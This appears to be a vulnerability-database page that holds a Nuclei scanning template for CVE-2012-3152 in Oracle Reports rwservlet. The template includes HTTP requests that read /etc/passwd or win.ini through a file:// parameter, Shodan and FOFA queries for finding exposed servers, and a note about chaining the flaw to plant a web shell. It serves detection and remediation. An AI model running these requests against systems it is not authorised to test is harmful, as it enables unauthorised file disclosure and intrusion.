Oracle Reports rwservlet - Arbitrary File Read
| Reporter | Title | Published | Views | Family All 49 |
|---|---|---|---|---|
| Exploit for CVE-2012-3152 | 28 Jan 201419:39 | – | githubexploit | |
| Exploit for CVE-2012-3152 | 15 May 202620:47 | – | githubexploit | |
| Oracle Forms and Reports 11.1 - Remote Exploit | 29 Jan 201400:00 | – | zdt | |
| Oracle Reports Developer Version Release 9i to 10gr2 Database Disclosure | 29 Jan 201400:00 | – | zdt | |
| Oracle Forms / Reports Remote Code Execution Exploit | 18 Feb 201400:00 | – | zdt | |
| CVE-2012-3153 | 16 Oct 201200:00 | – | attackerkb | |
| CVE-2012-3152 | 16 Oct 201200:00 | – | attackerkb | |
| Oracle Reports Developer Data Compromise | 1 Dec 202100:00 | – | bdu_fstec | |
| CVE-2012-3152 | 18 Feb 201400:00 | – | circl | |
| CVE-2012-3153 | 29 May 201815:50 | – | circl |
10
id: CVE-2012-3152
info:
name: Oracle Reports rwservlet - Arbitrary File Read
author: ritikchaddha
severity: critical
description: |
Oracle Reports Developer in Oracle Fusion Middleware 11.1.1.4, 11.1.1.6, and 11.1.2.0 (and earlier 10g/11g releases discussed by the original researcher) allows unauthenticated attackers to read and write arbitrary files through the reports/rwservlet URLPARAMETER feature. A GET with JOBTYPE=rwurl and URLPARAMETER set to a file:// URL returns the file contents in the response (OSVDB-86395, EDB 31253). Combined with CVE-2012-3153 this has been used to upload a JSP shell; this template only performs a safe file:// read of /etc/passwd or Windows win.ini and does not write files. Patched in the October 2012 Oracle CPU. CVE-2012-3152 is in the CISA Known Exploited Vulnerabilities catalog.
impact: |
An unauthenticated attacker can read arbitrary files from the Reports Server host and, when chained with CVE-2012-3153, write a web shell and execute code.
remediation: |
Apply the October 2012 Oracle Critical Patch Update for Oracle Fusion Middleware / Reports Developer, or later. Disable or restrict unauthenticated access to /reports/rwservlet until patched, and hunt for unexpected JSP files under the Reports web root.
reference:
- https://www.exploit-db.com/exploits/31253
- http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/oracle_reports_rce.rb
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2012-3152
- https://nvd.nist.gov/vuln/detail/CVE-2012-3152
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2012-3152
epss-score: 0.98793
epss-percentile: 0.99927
cpe: cpe:2.3:a:oracle:fusion_middleware:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: oracle
product: fusion_middleware
shodan-query:
- http.html:"/reports/rwservlet"
- http.title:"Oracle Reports"
fofa-query:
- body="/reports/rwservlet"
- title="Oracle Reports"
tags: cve,cve2012,oracle,rwservlet,lfi,kev
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(tolower(body), "oracle business")'
condition: and
internal: true
- raw:
- |
GET /reports/rwservlet?report=test.rdf&desformat=html&destype=cache&JOBTYPE=rwurl&URLPARAMETER=file:///etc/passwd HTTP/1.1
Host: {{Hostname}}
- |
GET /reports/rwservlet?report=test.rdf&desformat=html&destype=cache&JOBTYPE=rwurl&URLPARAMETER=file:///C:/Windows/win.ini HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: or
matchers:
- type: dsl
name: linux-passwd
dsl:
- 'status_code == 200'
- 'regex("root:.*:0:0:", body)'
- 'contains(content_type, "application/octet-stream")'
condition: and
- type: dsl
name: windows-winini
dsl:
- 'status_code == 200'
- 'contains_all(body, "[fonts]", "[extensions]")'
- 'contains(content_type, "application/octet-stream")'
condition: and
# digest: 490a00463044022017137771490118f4da0dd837c3af08fb53c835a8f4dc8564421b9b6c59b994a7022006a22d5af829f124fe502f0068e715dd6b21bfda5446161ad75d4f70c5ae54a5:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Nov 2026 18:34Current
7.3High risk
Vulners AI Score7.3
CVSS 26.4
CVSS 3.19.1
EPSS0.98793
SSVC